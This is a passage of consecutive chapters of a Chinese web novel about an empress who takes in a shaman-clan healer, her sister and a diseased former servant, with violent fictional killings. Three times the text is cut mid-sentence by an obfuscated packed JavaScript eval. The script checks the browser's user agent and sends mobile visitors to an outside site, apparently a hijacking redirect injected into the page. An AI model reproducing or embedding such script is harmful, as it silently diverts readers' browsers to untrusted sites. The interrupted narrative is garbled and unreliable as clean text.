“还有,但凡用**头救回来的人,三年内不能碰粟米,哪怕米汤也碰不得,三年后则无虞。”周灵娘说完,小声和苏禾说:“能给我找笔墨纸砚吗?” “姑娘,这里还缺一味药吧?”天成子说。 周灵娘点头:“是,还有一道符,这道符要点燃化成灰,黄酒送服。” “果然,高手在民间啊。”天成子说罢,便闭目养神去了。 周灵娘不单单写好了各种汤药的方子,还写了百道符,用红布包好符恭敬地送到温令仪面前:“皇后娘娘,并非民女不肯多写,这符只在三年内有用,若皇后娘娘用完可差遣人到草民家里,一定会要多少给多少的。” 温令仪接过来红布包,问:“你不是京城本地人吧?” “不是,草民是从雁门关那边来的,如今住在京城甜井巷里,我家门前有一棵垂柳。”周灵娘说。 温令仪让人取来银票,一张银票一百两,便于周灵娘使用,又让林嬷嬷回去宫里取一棵五十年的野山参。 周灵娘接过来这些,磕头谢恩后,温令仪让苏禾把人送走。 等人走后,温令仪才说:“师父,您看出什么了?” “祝由术。”天成子说:“药王谷曾有祝由术残本,鬼门十三针只传下来了三针,就是不知道这姑娘到底会多少,或许是该着传承不绝,才会机缘巧合遇到。” 温令仪点了点头:“师父,她说她从雁门关来,能不能是从神女山来?巫医族未必会被赶尽杀绝,逃出来的人藏匿在大昭京城也不无可能。” “你是好奇她为何要银子还要人参吧?”天成子看温令仪。 温令仪低声: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16318850|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “师父,虽说听到千两银的时候,她也惊了一下,可就算掩饰也没掩饰好,别说寻常人家,就是家境殷实的小门小户,听到千两银也必定会吓得瑟瑟发抖,这是其一。” 天成子点头。 “再有,刚才接人参的时候,她看了眼盒子里的人参,显然是能一样就断定人参年份的,不说此人家学渊源,可也绝不是表面让我们看到的这些。”温令仪说。 天成子捋着胡须:“不是说东方文和已经带着巫医族到南疆避世而居了吗?” “巫医族未必会全然相信,西凉灭国,东方文和出了力,神庙是巫医族的传承,但也是巫医族的催命符,我总觉得这件事不简单,应该是有人故意要引我注意。”温令仪说。 天成子缓缓点头:“既是如此,走一遭也无妨,不过千金之子坐不垂堂,若无把握,不可轻举妄动。” “师父放心,我去安排。”温令仪出门去安排。 周灵娘带着银票和人参回到甜井巷,刚到家门口就听到里面穿来了惨叫声,顾不得那么多立刻冲了进去,一把推开发狂的男人,把母亲护在身后:“你滚开啊,滚开啊!别逼我杀了你!” 壮汉四十出头,手里拎着木棍,抬起手用木棍指着周灵娘:“贱蹄子!老子今天不单要打死这个老货,还要把你送去楼子里!既然我不好过,谁都别好过!” “我给你一百两银子,你走!”周灵娘说着,挡着母亲一点点后退,想要回到屋子里,眼睛不敢往别处看,只能出声:“灵玉,灵玉!” “灵玉?”壮汉仰天大笑:“那个小贱蹄子这会儿保不齐正快活呢!一百两就想要打发我?别忘了,是老子救了你们娘仨,老子是你们的恩人!” 周灵娘转身奋力把母亲推到屋子里,关上门的时候直接落锁,回头看着壮汉:“胡四,你把我妹妹卖给谁了?” 壮汉见周灵娘一幅要拼命的架势,笑着说道:“当然是眠月楼了啊,那可是个好地方,伺候的都是有钱人,怎么样,也送你去啊?” 话音落下,眼前只看到了人影一闪,抬起手捂着脖子,血喷洒而出…… 第332章 怎么是你 碧桃看到周灵娘的动作,再看胡四已经倒在了地上,身上都起了一层鸡皮疙瘩,她已经勤学苦练了好几年,但似乎完全不是周灵娘的对手,她藏拙啊。 胡四倒在地上,死死地用眼睛盯着周灵娘。 周灵娘一脚踩在他的脸上:“救命之恩,不能不报,但你敢动我小妹,死有余辜!” 说罢,竟从挎包里掏出来一个瓷瓶,瓷瓶里的白色粉末落在胡四的身上,顷刻间就剩白骨,这还不算完,白骨也最终化作了血水。 碧桃知道,自己再不走怕来不及,立刻跑过来禀告温令仪。 只是,她不知道就在她离开的时候,周灵娘看了眼她藏身的地方,并且不紧不慢的提水清理了地面,把银票和人参都送到屋子里,看着母亲泪流满面的样子,走过去取出来她头顶的摄魂针,跪倒在地:“母亲,人参我找到了,你若想活,就自己熬药,这些银子可以让你安度余生,我要去救妹妹。” “灵儿。”老妇伸出手抓住了周灵娘的胳膊:“你走,你走吧。” 周灵娘推开母亲的手:“母亲,格日勒虽然**,可巫医族还在,你觉得我们能走到哪里去?隐姓埋名活着都不行的时候,顾虑越多越束手束脚,今日我大开杀戒,不会死,还会让你们荣光的活一辈子,但你不能在放任自己,自甘堕落!” 说罢,周灵娘再也不留恋,出门直奔眠月楼。 眠月楼并非什么好地方,在京城里,眠月楼就像是隐藏在阴沟里的老鼠,这里的女子一个个都涂脂抹粉,劣质的香味儿刺激得人都掉眼泪。 往来也没什么达官贵人,多是贩夫走卒,醉鬼懒汉,这些人也不分白天黑夜,但凡手里有两个铜钱都急吼吼的要过来找个姑娘发泄发泄。 周灵娘来到眠月楼的门外,看着低矮的门上,歪歪扭扭写着的三个字,恶向胆边生的她取出来弯月形状的柴刀,低着头快步走进去。 “哎哟哟,姑娘可来错地方了,我啊--”老*鸨话都没说完,直接人头飞出去了,胳膊还在胡乱抓,脑袋掉到了三尺外。 院子里还有几个排队的懒汉醉鬼,他们都蒙了,不知道谁喊了一句:“**啦!” 想要跑?没机会。 周灵娘关上门,门闩好,转过头但凡有人靠近,直接一刀毙命,每杀一个人都会问一句:“胡四送来的姑娘呢?” 不到一炷香的工夫,院子里横七竖八躺下了七八个人,惨叫声和血腥味儿让躲在屋子里的人都不敢露头。 “灵玉!”周灵娘握着滴血的柴刀,大喊:“出来,姐姐接你回家。” 在最靠北边的一个破屋子里,小张氏护着怀里的小姑娘:“不怕,不怕,一会儿我找机会带你跑。” “灵玉,灵玉,我就是灵玉啊。”小姑娘呆滞的神色似乎在努力回想,突然起身往外跑。 小张氏急了:“傻丫头!你会死的!” 门被推开的声音吸引了周灵娘,她看过来,就见小妹跑了出来,头上还有乱草。 “灵玉!”周灵娘跑过去一把抱住了小妹。 周灵玉瞪大眼睛看着眼前**那些人,到处都是血,那些血把她能看到的一切都染成了红色,突然尖叫着抱着头,扭身往回跑。 小张氏赶紧把周灵玉挡在身后,扑通就给眼前浑身是血,俨然恶鬼下界一般的周灵娘跪下了:“姑娘开恩,姑娘啊,我们都是命苦的人,该死也是那些狗男人该死,这孩子我好不容易护住了,你就放过她吧。” “她是我妹妹。”周灵娘从挎包里掏出来一个纸包,纸包打开拿出来一颗糖球:“灵玉,是姐姐。” “**!**!都**!”周灵玉像是疯了一般,捂着头撒腿就跑。 恰在这个时候,门被打开了,温令仪抬起手银针刺入周灵玉的檀中穴,碧桃眼疾手快抱住了周灵玉。 “送回去给我师父,能救她。”温令仪说。 碧桃不敢耽搁,立刻转身就走。 温令仪抬头看着眼前的惨景,微微蹙眉,没发现小张氏像是见鬼了似的,扭头钻进了破屋子里。 “我**了。”周灵娘丢下手里的柴刀 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温令仪知道,这才是周灵娘的本来面目。 “我杀了很多人。”周灵娘说。 温令仪点头:“行侠仗义,该罚但不该死。” 周灵娘双膝跪地:“主人,周灵娘这辈子都会忠心耿耿,若违背誓言,魂飞魄散,用不得超生。” “起来吧。”温令仪说。 周灵娘抬头:“能帮奴婢再多救一个女人吗?她得了脏病。” 温令仪当然不会拒绝。 周灵娘快步走到小张氏的门口,推了推门,门竟然被从里面锁上了,心思一动立刻一脚踹开房门,抬头就见刚才救了小妹的女人吊在房梁上,纵身过去,**割断了绳子,把人抱在怀里往外跑:“救她。” 温令仪低头一看,愕然出声:“怎么是你?” 小张氏紧闭双眼,眼泪顺着眼角往外淌,她想死啊,真的不想活了,不想看到温令仪啊! 第333章 还敢给下马威啊 小张氏不得不睁开眼睛,张开嘴想要叫温令仪,可都不知道该如何称呼她,只是眼泪一直往外流:“让我**吧,我**就干净了。” “你啊。”温令仪吩咐碧桃去叫来马车,把小张氏送上马车,这边的事情交给京兆府去处理,至于怎么处理,至少周灵娘会被保下来,为了能更好的保住周灵娘,温令仪安排林嬷嬷去联系每个死者的家里人,但凡能找到家里人的给银子,找不到家里人的负责下葬。 尽管来这里的人没有一个是好的,可毕竟是一条命。 周灵娘坐在马车尾的位置,低着头一言不发。 温令仪也不着急,化骨散可不是只让人浑身动弹不得的一种药,其实真正的化骨散是让人消失于无形,周灵娘手里有这样的药,至于其他的,她不说,温令仪很有耐心,终有一日是会开口的。 小张氏被送到天成子这边,花柳病能不能治好,尚无定论,但小张氏一心求死,对温令仪来说就像是一场因果的了结,当初小张氏确实为自己所用,在晏怀卿身边的日子不短,至于后来明明带了不少银子,也离开了京城的她怎么会出现在那种地方重操旧业,也要等小张氏冷静下来在问。 现在,温令仪是要去见周灵娘的母亲,并且温令仪觉得周灵娘的母亲是装疯卖傻,这种感觉很强烈。 来到了甜井巷的家里,碧桃寸步不离的跟在温令仪身边,虽然知道温令仪必定有暗卫,可她亲眼见到过周灵娘的手段,必须全神戒备。 门,关着,有草药的香味儿飘出来。 温令仪两只手交叠在身前,宽大的袖子遮在身前,微微的眯起眼睛,这是一个奇怪的母亲,她的小女儿被卖到了那么脏的地方,她的大女儿**后去救小女儿,而她在熬药,为自己治病吗? 虽然温令仪认为,在任何时候自己的生命高于一切没有错,可身为母亲,她做不到,如果自己的儿女有危险,那么她会拼上这条命也要成为挡在孩子前面的一道屏障,为孩子换来活下去的机会。 看了眼周灵娘,周灵娘似乎并没有觉得有什么不妥当,推开门后转过身:“皇后娘娘,奴婢先进去。” 温令仪点了点头,对于她来说,善医者善毒,里面的人自己不了解,涉险显然不是明智的举动。 周灵娘进门,看到母亲蹲在熬药的炉子旁边,手里拿着蒲扇缓慢而有节奏的扇着风,熬药炉子下面的火明明灭灭,映衬着她的脸也明明暗暗的,看不清表情。 “母亲,玉儿被救了,皇后出手,把玉儿送去了药王谷天成子那边。”周灵娘蹲下来,说。 周母看着火光:“你杀了那么多人,你以后再也没有自由身了,灵娘,这不值得,我和玉儿和你没什么关系。” “母亲,救命之恩,必须要用一辈子报答。”周灵娘说。 周母摇头:“可是你身份尊贵,我们母女不配。” “母亲,走吧,投在皇后门下,至少能让玉儿安全长大,巫医族的事忘记吧。”周灵娘说:“你看,这世上的人那么多,都能过平淡幸福的日子,您也能,玉儿也能。” “但是你不能。”周母转过头看着周灵娘:“巫医族,你放得下吗?格日勒追杀的从来不是我和玉儿,而是当年那个本该死掉,却魂灯不灭的人。” 周灵娘勾了勾唇角:“可是,现在巫医族的魂灯都毁了啊。” “魂灯毁了,巫医族还在,你身为真正的神女,甘愿去给大昭皇后为奴为婢,身为大**的我和未来一定要成为大**的灵玉,难道就心安理得的看着你这么糟践自己吗?”周母摇了摇头:“这药,可以让玉儿恢复神志,而你决定走这条路,就坦诚布公的说给这位大昭的皇后,当然也要带着玉儿在身边。” “母亲!”周灵娘紧张了。 周母笑了:“我要去做我该做的事,这也是每一个巫医族大**该做的,如今也算是让你有了依靠和庇护,去吧,去请这位大昭皇后进来吧。” 周灵娘起身出去的时候,回头看了眼周母,抿了抿嘴角。 温令仪进门,只看到了还在沸腾的药炉子和下面已经没有了火苗但红红的炭。 周灵娘请温令仪坐下。 屋子里是阴暗的,外间没有什么摆设,除了药炉子就两条长凳,去里间的 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温令仪淡漠是看着周母:“本宫以为,纵然是巫医族,也决不能凌驾在本宫之上,今日登门也并非有事相求,如果真要说求,也得是你求本宫。” “诚然,有求于人的是我。”周母看了眼周灵娘:“我的女儿会成为巫医族下一位大**,掌毒。” 温令仪看出来了。 “我们的神女终究会成为巫医族的王,哪怕大昭收留了巫医族,可也要知道,巫医族不受任何权利的辖制,我们行走在人世间,是上苍对百姓的垂怜。”周母说这句话的时候,算不上倨傲,但绝对不卑不亢。 温令仪起身往外走:“道不同,不相为谋,既然**如此想,本宫无需再多留,西凉曾灭巫医族无数次,大周也灭巫医族一次,在本宫看来,不无道理。” 周母站了起来:“你可知道,巫医族是可以起死回生的!难道你不在乎?” “在乎?”温令仪回头看着周母:“你故弄玄虚对本宫,却对一个小小的胡四都无能为力,难道该在乎的不是你?” 第334章 受制于人?真是错打了算盘 周灵娘不知道如何收场,着急的两只手都搓起来了。 “巫医族的秘术可开膛破腹而不死,对于大昭来说,想要让更多的孩子降生,保证更多的女子平安,难道不是皇后所求?”周母起身站在温令仪身后:“而这不过是诸多秘术中的一种。” 温令仪回头打量着周母:“你们的传承来源于一个不知何处来,也不知去了何处的女子吧?” “你怎么知道?”周母愣住了。 温令仪转过身,神色冷峻:“我大昭人杰地灵,什么样的奇人异事没有?你以为巫医族了不起,可巫医族恰恰因为有一些本领是超出了人们能接受的程度,才会被视为异端,当权者都想要除而后快。” 周母不能否认,确实如此。 “同时,你们传承了上古巫医族的本领,但是你们却以为巫医族可以凌驾众生之上,吾我贡高也是巫医族无法安然生存下去的弊端,如今我大昭可海纳百川,但绝不纵容任何在大昭境内的任何人,践踏王法,你不懂,今日之事就当没发生过,你若懂得,也该明白本宫对你的礼遇,已是胸怀!”温令仪神色肃穆的看着周母。 周母低下了头,良久才单膝跪地,一只手盖在心脏的位子上:“巫医族从来都没有真正的得到安宁,请皇后护我巫医族神女,我会离开京城去巫医族,让巫医族成为大昭百姓的护生人。” “如**你?”温令仪居高临下看着周母,她从来都不是一个心慈手软的人,但也绝对不会轻易的就狠毒下手,曾经对自己的仇人不留情,现在是对任何可能危害大昭的人,非但不留情还会赶尽杀绝。 巫医族再有本事,若是敢心怀不轨,温令仪知道,自己都不会给他们机会壮大起来。 周母低着头,说:“灵娘,取我的箱子来。” 周灵娘进屋,取出来那个黑檀木的箱子。 周母打开箱子,箱子里是几卷竹简和几册书:“这是巫医族的秘术,虽然四大**各保存一部分,但恰好我保存的这部分是上古医书和能让难产女子剖腹产子而不死的秘法,还有巫医族附录咒术,请皇后笑纳,这是我能拿得出来的最大诚意。” 温令仪扫了一眼,显然没什么兴趣,也可以说是没消气儿,什么人,还敢在自己面前造次,不过有一点温令仪还是很吃惊的,她说巫医族曾经有一个神秘人出现,其实是猜的,也是诈周母,因为墨染曾经说过,在她的世界里,医术已经很厉害了,除了各种仪器外,更能为产妇做剖腹产。 当然,从周母的表情上看,确实墨染那样的人也曾经出现过在巫医族。 也幸好自己身边到现在还有温静言和女儿都是这样的人,不至于让自己觉得太不可思议。 也是因为自己都能死而重生,好像也就没什么事情是接受不了的了。 周母低着头:“灵娘是我们巫医族真正的神女,并非是我的女儿,我的女儿只有玉儿,并且巫医族每一代的神女都会有四个**,是伴生的,所以玉儿也留在这里,算质子。我熬了药,可以让玉儿恢复灵智,她一定会给皇后带来惊喜的。” “好。”温令仪抬头看周灵娘:“带着这些跟我走。” 周灵娘还想说话,可温令仪已经转身出去了,显然对母亲十分不满意。 周母起身,取下来带着的一块血玉交给周灵娘,又取来了水袋把熬制好的药汤放进去:“去吧,我也会立刻离开京城,若是我能做好巫医族的事,会亲自来赎走你们姐妹二人的。” 周灵娘抱着黑檀木的匣子跟在温令仪身后,到门口的时候回头看了眼门口,周母就立在门口,对她微微的点头。 再次坐上马车,周灵娘心里都空荡荡的,若说之前还能为了守护母亲和玉儿,可以后却没有了方向,她对跟在大昭皇后身边,以后会发生什么事情都非常茫然。 温令仪也在打量周灵娘,巫医族还真是挺有意思,萧玄策杀了一个巫医族神女,自己身边又来了一个巫医族神女,巫医族的未来是不是也就在自己手里了? 回到女学。 天成子已经在给小张氏开方子了,见到温令仪回来,说了句:“你送来这两个人,可真是要砸药王谷的招牌了。” “师父,不会。”温令仪搬来了凳子坐在天成子身边:“或许是药王谷的机缘。” 天成子看温令仪笑眯眯的 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天成子看温令仪:“你要教化周灵娘?” “还有周灵玉,我刚见过巫医族**之一,性子桀骜,自视甚高,并且认为巫医族凌驾众生之上,这就是巫医族屡次被灭族的原因,所以教化二人能改变巫医族,一举两得。”温令仪说。 天成子点了点头:“也好,本来还以为自己没什么用了,收了她们二人为徒后,也有事忙了。” 屋子里,周灵娘把汤药一点点儿喂给周灵玉,用朱砂在周灵玉的身上画符箓,最后一笔完成后,周灵玉轻轻地软倒在床上。 周灵娘不疾不徐的给她穿衣服,坐在床边等着。 周灵玉缓缓地睁开眼睛,那双眼睛透亮澄澈犹如深潭水,偏头看着周灵娘,轻唤一声:“主人。” “灵玉。”周灵娘伸出手轻轻地握住了周灵玉的手:“我们不是主仆,我们是姐妹,走,带你去见我们的主人。” “我们的主人?”周灵玉起身,抓着周灵娘的手:“你才是我的主人啊,这到底是怎么了?” 第335章 再遇故人,曾经的话还做数的 温令仪看着周灵娘牵着周灵玉走进来。 “皇后娘娘,奴婢和灵玉给您磕头谢恩了。”周灵娘跪下时,拉了一下周灵玉。 周灵玉赶紧跪下,但整个人都懵懵的,她没看到母亲,这也不是她们的家,母亲去哪里了? 温令仪说:“你们姐妹二人身份特殊,若是为奴为婢本宫也于心不忍,但若让你们自生自灭,确实也对不起大**的托付,所以有一个折中的法子,不知道你们姐妹二人可愿意?” 周灵娘不敢相信自己的耳朵,抬头:“皇后娘娘的意思是?” “药王谷的人在这边,本宫的师父也会长留京城,你们二人本就是巫医族的人,对医术都有些天分,拜师在本宫的师父门下,以后你们便是本宫的师妹,如此安排不轮到任何时候,也不算折辱了巫医族。”温令仪说。 周灵娘如蒙大赦,立刻磕头谢恩。 周灵玉虽然不知道到底发生了什么事,但她知道周灵娘根本不是自己的姐姐,而是自己的主人,主人都愿意做的事,自己没有拒绝的理由。 姐妹二人谢恩后,温令仪让林嬷嬷去准备拜师礼。 天成子最后收了两个关门弟子。 温令仪和师兄们都送了见面礼给两个小师妹,准备了席面庆祝。 同时,温令仪提到了龙首山,那边有裴祈安很早以前就建好的密室,本身龙首山也是个山清水秀的地方,距京城更近,天成子更愿意带着周灵娘和周灵玉进山里。 林嬷嬷从外面进来:“皇后娘娘,眠月楼的事处理好了。” 温令仪略微有些意外,毕竟**不少人。 “是皇上要彻查京中所有污糟的地方,圣旨刚下。”林嬷嬷说。 温令仪知道裴祈安在兜底,若是别的事她可不会让,可处理这种勾栏瓦舍的事,确实得有雷霆手段。 入夜。 温令仪一个人来看小张氏。 小张氏平静多了,只是双目空洞,人也枯瘦的厉害。 温令仪坐在椅子上,打量着小张氏良久,叹了口气:“你怎么又回来京城了?” 小张氏缓缓地转过头,看着温令仪,眼泪不受控的往外涌,苍白到毫无血色的嘴唇颤抖了半天,才说:“我娘以死相逼,还说我日子过得好了,她也能过上好日子了,必定不会再逼我做腌臜事。” 温令仪抬起手压了压额角。 “我想,回京置办了产业,一家人都能过上安稳的日子,也是好的。”小张氏说到这里,低头哭出声来。 温令仪起身给她倒了一盏茶,发现茶壶里的茶是汤药,递过去给小张氏。 小张氏取出来帕子垫着,生怕碰到了温令仪,再把病气过给她。 “起初,确实让我过了几天其乐融融的日子,可是我哥嫂不是善类,他们把我的东西都偷走了不说,我娘还以死相逼,让我去眠月楼接客,让我趁着年轻多给他们赚一些家底子。”小张氏说。 温令仪蹙眉:“你没有脑子吗?这你都能答应吗?” “我没有办法,身无分文,哪里也去不了,就连我那些铺面都被抢走了。”小张氏都恨不得一头撞死,抹了一把眼泪:“可我到底是没想到,他们根本不是让我去眠月楼接客,而是专门找了染脏病的人,把脏病传到我身上,想让我尽快死掉,还不会连累他们。” 温令仪冷声:“你娘呢?” “被那个姑娘杀了,她就是门口的老*鸨。”小张氏说到这里,如释重负,她也想要杀光自己这些所谓的亲人,可终究下不去手。 小张氏喝了一口苦药汤:“我看到那个小姑娘,害怕她们糟践了这么小的孩子,就拼了命把小姑娘抢到我的屋子里,我想着能护着一时是一时。” “如今,小姑娘得救了,我也就没啥牵挂的了,夫人,让我**吧,我真是活够了。”小张氏说完,支撑着跪下:“不不不,草民该死,皇后娘娘恕罪。” 温令仪柔声:“你啊,死怎么能行?当年我和你说的话可还算数呢。” 当初,温令仪让小张氏自己选,若为自己办事,保她荣华富贵,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16338268|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同意也无妨,该给的一分不少,从此互不相欠。 小张氏摇头:“皇后娘娘早就做到了,我本就可以过富贵荣华的日子,是我太傻了,以为我有银子,我手里有买卖,我的亲人不就是因为穷吗?只要给的够多,就能有依靠的好好过日子,我知道自己再也没可能有自己的孩子,我可以把一切都给哥嫂和孩子们啊。” “可是你不知道穷人乍富多可怕。”温令仪说着,取出来一个茶盏放在手边,银针刺入指腹,一滴滴的血落在碗里。 小张氏闻到了异香,抬头见温令仪的手指在滴血,吓得魂不附体:“来人啊,来人啊,快点儿。” “别喊了。”温令仪用温水化开了茶盏里的血,递到小张氏面前:“现在,我只能尽力救你这一次,能不能成看你的造化,但你放心,就算我救不了你,药王谷所有人也会想办法救你,你只管努力的活着,因为活着才有机会。” 小张氏不敢接过来。 温令仪脸色一沉:“难道,日子太长不见,你觉得我脾气好了?” 小张氏瑟缩一下,接过来茶盏,看了眼温令仪。 温令仪微微点头:“喝掉。” 小张氏闭上双眼,咕咚咕咚就喝下去了。 温令仪坐在旁边,静静地看着小张氏,小张氏也不敢说话,两个人就这么默然相对。 突然,小张氏抓住了胸口,脸色涨红的抬头看着温令仪:“皇后娘娘,我好疼。” “怕吗?”温令仪问。 小张氏摇头,甚至有些释然:“奴婢不怕。” 只是疼痛不好忍,好像是每一根血管都在燃烧一般,若不是温令仪坐在面前,小张氏觉得自己会恨不得一头撞死,会惨叫。 但现在,她浑身颤抖,一声不吭,周身冒出来腥臭的汗,皮肤像是破了,一个个紫黑色的血珠子从皮肤里渗出来。 温令仪终于动了,起身出门,一会儿天成子就来了。 天成子看到小张氏这幅样子,愤然回头:“你用了自己的血是不是?” 第336章 脱胎换骨的林宝娘 “师父,她有恩于我。”温令仪说。 小张氏仅有的那点儿理智,让她抬起头努力的看清楚温令仪,听到她说这句话的时候,心里竟从来没有过的开心。 她为夫人做什么了呢? 好像什么也没做啊。 她这一辈子一直都活在苦水里,要说过了几天好日子,那也是从遇到夫人之后开始的。 夫人从来没有亏待过自己,只是自己太不争气了,活该落到这步田地,若是听夫人的话,远走他乡,过安稳的日子,那该多好啊! 如果能重来一次,她一定会先一步找到夫人,为夫人鞍前马后做自己所有能做的事,等有一天夫人不需要自己了,那就离开这里,去过安宁的日子,这辈子都不会再回到京城,她没有亲人,她的血亲都是蛇蝎心肠,她糊涂,太糊涂了。 昏迷过去的小张氏嘴角带着笑意,她以为她终于可以**,解脱了。 天成子无奈,开方子,让人熬好药汤用来沐浴,小张氏泡在药汤里,那药汤都腥臭的厉害,换了三次药汤,总算没有怪味儿了,身上除了青紫一片片的,再也没有红色的疣瘤了,那些疣瘤的掉下后,皮肤上就有一个小坑,里面是新鲜的肉色。 林嬷嬷和碧桃伺候着小张氏,把昏迷不醒的人放在床上,用最柔软的细纱一层层的包好小张氏的肌肤,每次换掉细纱都要上药,小张氏昏迷三天三夜。 三天后,小张氏缓缓地睁开眼睛,她闻到了很清新的花香,那香味儿沁人心脾。 她都不记得上次闻到花香是什么时候了,许久以来一直都被身体散发出来的恶臭味熏着,每天都生不如死。 这是**吗? 小张氏打量着周围的一切,心里还在埋怨自己太贪心了,既然已经**,还赖在夫人身边做什么呢? 黑白无常不应该来索命吗?带着自己去下地狱吗? 想到这个,小张氏就有些害怕了,她当了一回人,没有做过什么好事,虽然不得善终是报应,可是现在真后悔,如果做人的时候多做好事,好好做人,或许就没有那么害怕见到索命的黑白无常了。 坐起来,低头看着自己身上的白纱,她这辈子都没有见过这么细软的白纱,白纱很滑,她一动,手臂上的白纱就滑落了,小张氏欣喜若狂的看着自己洁白的肌肤,没有任何脏东西。 她听说过,人**的时候是不会带任何病痛的,看来果然是真的? 外面月光洒进来,她能看得清楚自己的肌肤,一点点儿解开白纱,每一寸肌肤都光洁,就算她十几岁的时候,正青春年少的时候也不曾有这么顺滑的肌肤呢。 原来,**竟然是这么好的感觉啊。 小张氏心情大好,竟下了床,在屋子里唱起了自己最喜欢的戏曲儿。 林嬷嬷也就仗着岁数大,沉稳,不然都的被吓坏了。 提着食盒立在门外,好几次抬起手都收回了,直到小张氏唱完,才出声:“张姑娘,这是醒了啊?” 小张氏吓一跳,二话不说爬上床,抓过来被子把自己裹紧:“你是谁?” “你啊。”林嬷嬷推开门进来,放下食盒,取出来火折子点灯。 灯光亮了,小张氏看清楚是林嬷嬷,愕然的瞪大了眼睛:“我、我这是没死吗?” “死什么死?”林嬷嬷转过身去橱子里取出来早就准备好的衣裳送到床边:“皇后娘娘为了救你,可是拼了,但这件事你切记烂在肚子里不能说。” 小张氏捂着胸口,心脏跳得像是在擂鼓,脑海里浮现出温令仪刺破手指,给自己喝血的场景,嘴唇哆嗦着:“是、是那血?” “都说让你忘了!”林嬷嬷低声:“皇后与常人不同,若不然当初也不会被人所害,身怀重宝总是被人惦记,你承了皇后娘娘的大恩,若是口无遮拦会害了她。” 小张氏摇头犹如拨浪鼓:“不会,不会,我永远不会害皇后娘娘的。” “皇后娘娘从来都不亏待任何为她做事的人,也是你命不该绝,换上衣服吃点儿东西,天亮了带你去见皇后娘娘。”林嬷嬷说。 小张氏这才感觉自己腹中饥饿,刚才以为自己是鬼的时候,只顾着觉得舒坦了,这会儿肚子都在叫了。 不好意思的穿戴好,坐下来吃饭,这饭就从来没有如此香甜过,她吃得很快。 林嬷嬷在旁边叮嘱:“慢点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340031|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿,别伤了胃。” 小张氏抬头,灯光下的林嬷嬷眉眼十分温柔慈祥,那眼里的疼惜不是装出来的,小张氏下意识的问:“嬷嬷,你有家人吗?” 林嬷嬷愣了一瞬,笑着摇了摇头:“我这辈子只有皇后娘娘这个主子。” “做我娘好不好?我以后就是你的女儿,我好想有个你这样的娘。”小张氏说。 林嬷嬷笑了:“好。” 小张氏没想到林嬷嬷答应了,立刻放下筷子跪在地上就磕头。 林嬷嬷拉着她起来,从手腕上取下玉镯戴在小张氏的手腕上,柔声:“孩子,你不亚于重新投了一次胎,往后要好好活着,好好过日子,我啊,就倚老卖老收了你这个女儿了。” “娘,我一定好好活着,娘,你给我取个名字吧。”小张氏无比期待的看着林嬷嬷。 林嬷嬷想了想,说:“那就叫宝娘吧,林宝娘。” “娘,这个名字好,我以后就是林宝娘了。”小张氏笑着落泪,她再也和那些张家人没关系了! 吃饱了,林嬷嬷就留在这边陪着林宝娘,天亮的时候带去见温令仪。 温令仪抬眸看着走进来的小张氏,容光焕发,整个人都喜气洋洋的,虽然还是瘦弱,可养一养就回来了。 “奴婢林宝娘给皇后娘娘磕头。” 温令仪看林嬷嬷。 林嬷嬷过来行礼:“老奴收了她做女儿,改名林宝娘。” “这是好事。”温令仪抬起手:“来,宝娘到我身边来,看看你好得怎么样了?” 林宝娘过来,撸胳膊挽袖子给温令仪看:“皇后娘娘,奴婢全好了,比小时候的皮子都好。” 温令仪笑出声来:“行了,以后可好好爱惜着自己。” “嗯,奴婢记住了。”林宝娘说。 温令仪对碧桃说:“去,把人带进来吧。” 林宝娘有些疑惑,当看到张家两口子被五花大绑的带进来的时候,顿时瞪大了眼睛,她以为自己不恨了,可是看到他们,那恨意简直犹如疯长的野草。 “宝娘,这两个人害**你的姐妹,如今你要为你的姐妹报仇吗?”温令仪问。 第337章 小张氏的这辈子啊 张宝和崔氏跪在地上瑟瑟发抖,不敢抬头。 他们这样的小老百姓,就算是想破了脑壳都不会想到有一天会被皇后召见,不对,是被抓来的,那也和见到了天上的神仙似的。 林宝娘再次见到自己的亲人,简直犹如隔了一层生死,心中五味杂陈,特别是见到兄长,曾经从小到大一起生活的记忆纷至沓来,别人家都是一家人其乐融融,偏偏她的命歹,从小就在兄长的谩骂和拳脚相加中活着。 “你们!”林宝娘一开口声音都打颤儿,温令仪抬起手轻轻地握住了她的手。 林宝娘知道,皇后娘娘的意思是小张氏已经**,那个曾经被他们用来当做赚钱的牛马一般的妹妹,死在了脏病上,哪怕后来自己可以说腰缠万贯,也填不饱他们的胃口,甚至为了谋财而用了最恶毒的法子害死至亲。 深吸一口气:“张宝,你妹妹**。” 张宝张开大嘴:“我可怜的妹妹啊,啊啊啊。” 可是啊啊半天也不见半滴眼泪,林宝娘冷笑:“她可怜吗?我可不觉得她可怜,她是活该。” 